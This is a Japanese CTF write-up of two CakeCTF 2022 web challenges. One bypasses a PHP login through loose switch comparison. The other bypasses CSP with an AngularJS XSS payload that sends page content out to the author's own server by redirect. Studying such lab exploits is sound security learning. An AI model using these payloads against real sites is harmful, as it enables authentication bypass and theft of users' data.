[CakeCTF 2022] My own writeup

Posted on Sep 4, 2022

CakeCTF 2022が9/3 14:00 - 9/4 14:00(JST)の日程で開催されました. webを解いていたので, そのwriteupを以下に記します.

  • [web] CakeGEAR(104 solves)
  • [web] OpenBio(50 solves)

[web] CakeGEAR(104 solves)

$_SESSION['admin']がtrueになればflagが取れるようです.

if ($_SESSION['admin'] === true) {
    $mode = 'admin';
    $flag = file_get_contents("/flag.txt");
} else {
    $mode = 'guest';
    $flag = "***** Access Denied *****";
}

usernameをgodmodeまたはadminとしてログインできれば$_SESSION['admin']trueにできそうです. adminとしてログインするにはパスワードを推測する必要があるため難しいです.

switch ($req->username) {
    case 'godmode':
        /* No password is required in god mode */
        $_SESSION['login'] = true;
        $_SESSION['admin'] = true;
        break;

    case 'admin':
        /* Secret password is required in admin mode */
        if (sha1($req->password) === ADMIN_PASSWORD) {
            $_SESSION['login'] = true;
            $_SESSION['admin'] = true;
        }
        break;

    case 'guest':
        /* Guest mode (low privilege) */
        if ($req->password === 'guest') {
            $_SESSION['login'] = true;
            $_SESSION['admin'] = false;
        }
        break;
}

usernameをgodmodeとしてログインするには上のswitch文以前で, 接続元のIPアドレスが'127.0.0.1であることが求められます.

if ($req->username === 'godmode'
    && !in_array($_SERVER['REMOTE_ADDR'], ['127.0.0.1', '::1'])) {
    /* Debug mode is not allowed from outside the router */
    $req->username = 'nobody';
}

PHPのswitch/caseが行うのは緩やかな比較であることを利用します. こちらより, 緩やかな比較では任意の文字列とtrueが等しいです.

よって, usernametrueとすることでcase 'godmode'の処理を実行することができます.

$ curl -v -X POST -H "Content-Type: application/json" -d '{"username":true, "password":"guest"}' http://web1.2022.cakectf.com:8005/index.php
...
*   Trying 34.146.124.175...
* TCP_NODELAY set
* Connected to web1.2022.cakectf.com (34.146.124.175) port 8005 (#0)
> POST /index.php HTTP/1.1
> Host: web1.2022.cakectf.com:8005
> User-Agent: curl/7.64.1
> Accept: */*
> Content-Type: application/json
> Content-Length: 55
> 
* upload completely sent off: 55 out of 55 bytes
< HTTP/1.1 200 OK
< Date: Sat, 03 Sep 2022 11:25:54 GMT
< Server: Apache/2.4.54 (Debian)
< X-Powered-By: PHP/8.1.9
< Set-Cookie: PHPSESSID=8791503537358bf2138bd468967f8550; path=/
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Content-Length: 18
< Content-Type: text/html; charset=UTF-8
{"status":"success"}
...

$ curl -b 'PHPSESSID=8791503537358bf2138bd468967f8550' http://web1.2022.cakectf.com:8005/admin.php  
...
<!DOCTYPE html>
<html>
    <head>
        <meta charset="UTF-8">
        <title>control panel - CAKEGEAR</title>
        <style>table, td { margin: auto; border: 1px solid #000; }</style>
    </head>
    <body style="text-align: center;">
        <h1>Router Control Panel</h1>
        <table><tbody>
            <tr><td><b>Status</b></td><td>UP</td></tr>
            <tr><td><b>Router IP</b></td><td>192.168.1.1</td></tr>
            <tr><td><b>Your IP</b></td><td>192.168.1.7</td></tr>
            <tr><td><b>Access Mode</b></td><td>admin</td></tr>
            <tr><td><b>FLAG</b></td><td>CakeCTF{y0u_mu5t_c4st_2_STRING_b3f0r3_us1ng_sw1tch_1n_PHP}
</td></tr>
        </tbody></table>
    </body>
</html>
...          

[web] OpenBio(50 solves)

解けませんでした. CSPをbypassしてXSSを実行する問題です.

APIは以下のようになっています.

"""
Route
"""
@app.route('/')
def home():
    if login_ok():
        conn = conn_user()
        bio = conn.hget(flask.session['user'], 'bio').decode()
        if bio is not None:
            return flask.render_template('index.html',
                                         username=flask.session['user'], bio=bio)
    return flask.render_template('login.html')

@app.route('/profile/<user>')
def profile(user):
    if not login_ok():
        return flask.redirect(flask.url_for('home'))

    is_report = flask.request.args.get('report') is not None

    conn = conn_user()
    if not conn.exists(user):
        return flask.redirect(flask.url_for('home'))

    bio = conn.hget(user, 'bio').decode()
    return flask.render_template('profile.html',
                                 username=user, bio=bio,
                                 is_report=is_report)

"""
User API
"""
@app.route('/api/user/register', methods=['POST'])
def user_register():
    """Register a new user"""
    # Check username and password
    username = flask.request.form.get('username', '')
    password = flask.request.form.get('password', '')
    if re.match("^[-a-zA-Z0-9_]{5,20}$", username) is None:
        return error("Username must follow regex '^[-a-zA-Z0-9_]{5,20}$'")
    if re.match("^.{8,128}$", password) is None:
        return error("Password must follow regex '^.{8,128}$'")

    # Register a new user
    conn = conn_user()
    if conn.exists(username):
        return error("This username has been already taken.")
    else:
        conn.hset(username, mapping={
            'password': passhash(password),
            'bio': "<p>Hello! I'm new to this website.</p>"
        })
        flask.session['user'] = username
        return success("Successfully registered a new user.")

@app.route('/api/user/login', methods=['POST'])
def user_login():
    """Login user"""
    if login_ok():
        return success("You have already been logged in.")

    username = flask.request.form.get('username', '')
    password = flask.request.form.get('password', '')

    # Check password
    conn = conn_user()
    if conn.hget(username, 'password').decode() == passhash(password):
        flask.session['user'] = username
        return success("Successfully logged in.")
    else:
        return error("Invalid password or user does not exist.")

@app.route('/api/user/logout', methods=['POST'])
def user_logout():
    """Logout user"""
    if login_ok():
        flask.session.clear()
        return success("Successfully logged out.")
    else:
        return error("You are not logged in.")

@app.route('/api/user/update', methods=['POST'])
def user_update():
    """Update user info"""
    if not login_ok():
        return error("You are not logged in.")

    username = flask.session['user']
    bio = flask.request.form.get('bio', '')
    if len(bio) > 2000:
        return error("Bio is too long.")

    # Update bio
    conn = conn_user()
    conn.hset(username, 'bio', bio)

    return success("Successfully updated your profile.")

"""
Report spam account
"""
@app.route('/api/support/report', methods=['POST'])
def report():
    """Report spam
    Support staff will check the reported contents as soon as possible.
    """
    if RECAPTCHA_KEY:
        recaptcha = flask.request.form.get('recaptcha', '')
        params = {
            'secret': RECAPTCHA_KEY,
            'response': recaptcha
        }
        r = requests.get(
            "https://www.google.com/recaptcha/api/siteverify", params=params
        )
        if json.loads(r.text)['success'] == False:
            abort(400)

    username = flask.request.form.get('username', '')
    conn = conn_user()
    if not conn.exists(username):
        return error("This user does not exist.")

    conn = conn_report()
    conn.rpush('report', username)
    return success("""Thank you for your report.<br>Our support team will check the post as soon as possible.""")

usernameを指定してreportを送信すると以下のクローラが走ります. クローラが使用するユーザーのbioにflagが含まれます.

const crawl = async (target) => {
    const url = base_url + '/profile/' + target + '?report';
    console.log(`[+] Crawling: ${url}`);

    const username = Math.random().toString(32).substring(2);
    const password = Math.random().toString(32).substring(2);

    const browser = await puppeteer.launch(browser_option);
    try {
        const page = await browser.newPage();
        // Register
        await page.goto(base_url + '/', {timeout: 3000});
        await page.type('#username', username);
        await page.type('#password', password);
        await page.click('#tab-signup');
        await page.click('#signup');
        await wait(1000);

        // Set flag to bio
        await page.goto(base_url + '/', {timeout: 3000});
        await page.$eval('#bio', element => element.value = '');
        await page.type('#bio', "You hacked me! The flag is " + flag);
        await page.click('#update');
        await wait(1000);

        // Check spam page
        await page.goto(url, {timeout: 3000});
        await wait(3000);
        await page.close();
    } catch(e) {
        console.log("[-] " + e);
    }

    console.log(`[+] Crawl done`);
    await browser.close();
}

CSPの設定は以下になります.

default-src 'none';
script-src 'nonce-Cu7X0RW7MW6UteS2dtU3yw==' https://cdn.jsdelivr.net/ https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ 'unsafe-eval';
style-src https://cdn.jsdelivr.net/;frame-src https://www.google.com/recaptcha/ https://recaptcha.google.com/recaptcha/;base-uri 'none';
connect-src 'self';

CSP Evaluatorを使用して設定の脆弱性をチェックします. script-srchttps://cdn.jsdelivr.net/が指定されており, このCDNはAngularライブラリをホスティングしていることがわかります.

Angularとunsafe-evalを利用して, CSPをbypassすることを考えます. 以下でサンプルのXSSが実行できます.

<script src="https://cdn.jsdelivr.net/angularjs/1.1.2/angular.min.js"></script>
<div ng-app ng-csp>{{$eval.constructor('alert(\'XSS\')')()}}</div>

CSPでconnect-src 'self'が設定されているため, fetch()などを用いて自身のサーバにリクエストを送信することができません. 自分はクローラが使用するユーザーのbioを自身のユーザーのbioに書き込むこませることを考え, 以下のpayloadを作成しました.

<script src="https://cdn.jsdelivr.net/angularjs/1.1.2/angular.min.js"></script>
{% raw %}
<div ng-app ng-csp>{{$eval.constructor('fetch("/").then(async(data)=>{a=await data.text();b=a.match(/id="csrf_token" value="(.*?)"/)[1];console.log(a);if(a.match(/<title>(.*?)<\/title>/)[1] != "[my username] - OpenBio"){fetch("/api/user/update",{method: "POST", headers: {"Content-Type":"application/x-www-form-urlencoded","Cookie":"session=[my session]"}, body: "bio="+a+"&csrf_token="+b})});}')()}}</div>

{% endraw %} しかし, このpayloadだとなぜかreportボタンが機能しなくなりました… そして, 時間切れになりました. 終了後にこちらのwriteupを参考に解き直しを行いました.

そもそもredirectを使用することで, connect-src 'self'は回避できるようです. writeupではsetTimeoutが使用されていましたが, async/awaitを用いたpayloadを作成し, 無事flagを含むbipを自身のサーバに送信することができました.

<script src="https://cdn.jsdelivr.net/npm/angular@1.8.2/angular.js"></script> 
{% raw %}
<div ng-app ng-csp>{{$eval.constructor('fetch("/").then(async(r) => {r = await r.text(); location.href="[自身のサーバ]?q="+escape(r)})')()}}</div>

{% endraw %}

感想

あまり解けませんでしたが, CSPのbypass問にも取り組めて学びのあるCTFでした. 来年のCakeCTFではもっとweb問を解けるよう精進していきます.